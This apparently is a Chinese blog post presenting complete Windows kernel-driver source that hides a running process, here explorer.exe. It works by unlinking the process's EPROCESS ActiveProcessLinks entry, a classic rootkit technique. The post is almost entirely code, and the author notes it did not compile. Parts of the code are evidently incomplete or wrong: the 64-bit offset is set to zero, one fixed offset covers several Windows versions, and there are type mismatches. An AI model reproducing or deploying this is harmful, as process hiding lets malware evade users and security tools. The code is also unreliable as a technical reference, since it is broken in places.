内核隐藏进程(源码)

自己测试的时候编译失败了,提示是这个PsGetProcessImageFileName API找不到链接库,目测可能是我的DDK版本不够新,先记录下,改天再升级ddk做测试。


  1. #include <ntifs.h>  
  2. #include <ntddk.h>  
  3. #include <Ntstrsafe.h>  
  4.   
  5. NTKERNELAPI UCHAR *PsGetProcessImageFileName(PEPROCESS Process);  
  6.   
  7.   
  8. #ifndef MAX_PATH  
  9. #define MAX_PATH          260  
  10. #endif  
  11.   
  12.   
  13. DWORD                   g_OsVersion;                                            //系统版本    
  14.                                                                                 //操作系统版本    
  15. #define WINXP                   51    
  16. #define WIN7                    61    
  17. #define WIN8                    62    
  18. #define WIN81                   63    
  19. #define WIN10                   100    
  20.   
  21.                                                                                 //获取系统版本    
  22. BOOLEAN GetOsVer(void);  
  23.   
  24.   
  25. ULONG_PTR EprocessActiveProcessLinks;  
  26.   
  27. //获取ActiveProcessLinks  
  28. ULONG_PTR GetEprocessActiveProcessLinks();  
  29.   
  30. //隐藏进程  
  31. NTSTATUS HideProcess(ULONG Processid);  
  32.   
  33. //获取进程Processid  
  34. ULONG GetProcessProcessid(char* pProcessName);  
  35.   
  36. VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)  
  37. {  
  38.   
  39.     return;  
  40. }  
  41.   
  42.   
  43. NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)  
  44. {  
  45.     NTSTATUS status;  
  46.     DriverObject->DriverUnload = DriverUnload;  
  47.   
  48.     DbgBreakPoint();  
  49.     HideProcess(GetProcessProcessid("explorer.exe"));  
  50.     return STATUS_SUCCESS;  
  51. }  
  52.   
  53. //隐藏进程  
  54. NTSTATUS HideProcess(ULONG Processid)  
  55. {  
  56.     //定义变量  
  57.     KIRQL Kirql;  
  58.     PLIST_ENTRY plistprocsTarge = NULL;  
  59.     PLIST_ENTRY plistprocsSource = NULL;  
  60.     NTSTATUS status;  
  61.     PEPROCESS Process = NULL;  
  62.   
  63.     //参数效验  
  64.     if (Processid <= 4)return STATUS_UNSUCCESSFUL;  
  65.   
  66.     //获取系统  
  67.     if (GetOsVer() == FALSE)return STATUS_UNSUCCESSFUL;  
  68.   
  69.     //获取ActiveProcessLinks  
  70.     if (EprocessActiveProcessLinks == NULL)  
  71.     {  
  72.         EprocessActiveProcessLinks = GetEprocessActiveProcessLinks();  
  73.         if (EprocessActiveProcessLinks == NULL)return STATUS_UNSUCCESSFUL;  
  74.     }  
  75.   
  76.     //获取PEPROCESS  
  77.     status = PsLookupProcessByProcessId(Processid, &Process);  
  78.     if (NT_SUCCESS(status))  
  79.     {  
  80.         plistprocsSource = (PLIST_ENTRY)((ULONG_PTR)Process + EprocessActiveProcessLinks);  
  81.         Kirql = KeRaiseIrqlToDpcLevel();  
  82.         //*((PULONG_PTR)plistprocsSource->Blink) = (ULONG_PTR)plistprocsSource->Flink;  
  83.         //*((PULONG_PTR)plistprocsSource->Flink + 1) = (ULONG_PTR)plistprocsSource->Blink;  
  84.         RemoveEntryList(plistprocsSource);  
  85.         InitializeListHead(plistprocsSource);  
  86.         KeLowerIrql(Kirql);  
  87.         ObfDereferenceObject(Process);  
  88.     }  
  89.     return status;  
  90. }  
  91.   
  92.   
  93. //获取ActiveProcessLinks  
  94. ULONG_PTR GetEprocessActiveProcessLinks()  
  95. {  
  96.     //_EPROCESS   
  97.   
  98. #ifdef _WIN64  
  99.     EprocessActiveProcessLinks = 0x00;  
  100. #else  
  101.     switch (g_OsVersion)  
  102.     {  
  103.     case WINXP:  
  104.         EprocessActiveProcessLinks = 0x088;  
  105.         break;  
  106.     case WIN7:  
  107.     case WIN8:  
  108.     case WIN81:  
  109.     case WIN10:  
  110.         EprocessActiveProcessLinks = 0x0b8;  
  111.         break;  
  112.     default:  
  113.         break;  
  114.     }  
  115. #endif  
  116.   
  117.     return EprocessActiveProcessLinks;  
  118. }  
  119.   
  120.   
  121. //获取进程Processid  
  122. ULONG GetProcessProcessid(char* pProcessName)  
  123. {  
  124.     //参数效验  
  125.     if (MmIsAddressValid(pProcessName) == FALSE)return NULL;  
  126.   
  127.   
  128.     //定义变量  
  129.     PEPROCESS pEprocess = NULL;  
  130.     NTSTATUS ntstatus = STATUS_SUCCESS;  
  131.     UCHAR *szProcessName = NULL;  
  132.     ULONG   Processid = 0;  
  133.   
  134.     for (int i = 4; i < 10000; i = i + 4) //一般来说没有超过100000的PID和TID  
  135.     {  
  136.         //进程ID和返回一个引用指针的过程EPROCESS结构  
  137.         ntstatus = PsLookupProcessByProcessId((HANDLE)i, &pEprocess);  
  138.         if (NT_SUCCESS(ntstatus))//STATUS_INVALID_CID  
  139.         {  
  140.             if (pEprocess != NULL)  
  141.             {  
  142.                 //比较进程名  
  143.                 szProcessName = PsGetProcessImageFileName(pEprocess);  
  144.                 if (szProcessName)  
  145.                 {  
  146.                     if (_stricmp((char*)szProcessName, pProcessName) == 0)  
  147.                     {  
  148.                         ObfDereferenceObject(pEprocess);  
  149.                         return (HANDLE)i;  
  150.                           
  151.                     }  
  152.                 }  
  153.             }  
  154.             ObfDereferenceObject(pEprocess);  
  155.         }  
  156.     }  
  157.   
  158.     return NULL;  
  159.   
  160. }  
  161.   
  162. //获取系统版本    
  163. BOOLEAN GetOsVer(void)  
  164. {  
  165.   
  166.     ULONG    dwMajorVersion = 0;  
  167.     ULONG    dwMinorVersion = 0;  
  168.     PsGetVersion(&dwMajorVersion, &dwMinorVersion, NULL, NULL);  
  169.     if (dwMajorVersion == 5 && dwMinorVersion == 1)  
  170.         g_OsVersion = WINXP;  
  171.     else if (dwMajorVersion == 6 && dwMinorVersion == 1)  
  172.         g_OsVersion = WIN7;  
  173.     else if (dwMajorVersion == 6 && dwMinorVersion == 2)  
  174.         g_OsVersion = WIN8;  
  175.     else if (dwMajorVersion == 6 && dwMinorVersion == 3)  
  176.         g_OsVersion = WIN81;  
  177.     else if (dwMajorVersion == 10 && dwMinorVersion == 0)  
  178.         g_OsVersion = WIN10;  
  179.     else  
  180.     {  
  181.         g_OsVersion = 0;  
  182.         KdPrint(("未知版本"));  
  183.         return FALSE;  
  184.     }  
  185.   
  186.     return TRUE;  
  187. }  

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值